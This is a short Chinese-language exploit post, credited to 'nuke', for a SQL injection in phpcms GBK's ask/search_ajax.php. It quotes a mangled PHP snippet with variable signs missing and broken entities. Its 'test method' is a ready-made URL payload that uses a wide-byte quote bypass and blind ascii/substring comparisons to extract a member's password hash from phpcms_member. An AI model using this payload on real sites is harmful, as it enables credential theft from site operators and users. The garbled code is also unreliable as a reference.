作者：nuke 受影响程序： phpcms gbk 破绽文件：ask/search_ajax.php code： listinfo(where, 'askid DESC', '', 10); foreach(infos as key=gt;val) { val['title'] = str_replace(q, ''.q.'', val['title']); info[key]['title'] = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', val['title']) : val['title']; info[key]['url'] = val['url']; } echo(json_encode(info)); ?gt; 测试方式：ask/search_ajax.php?q=sE6'or(select ascii(substring(password,1,1))fromphpcms_memberwhereusername=0xD73)gt;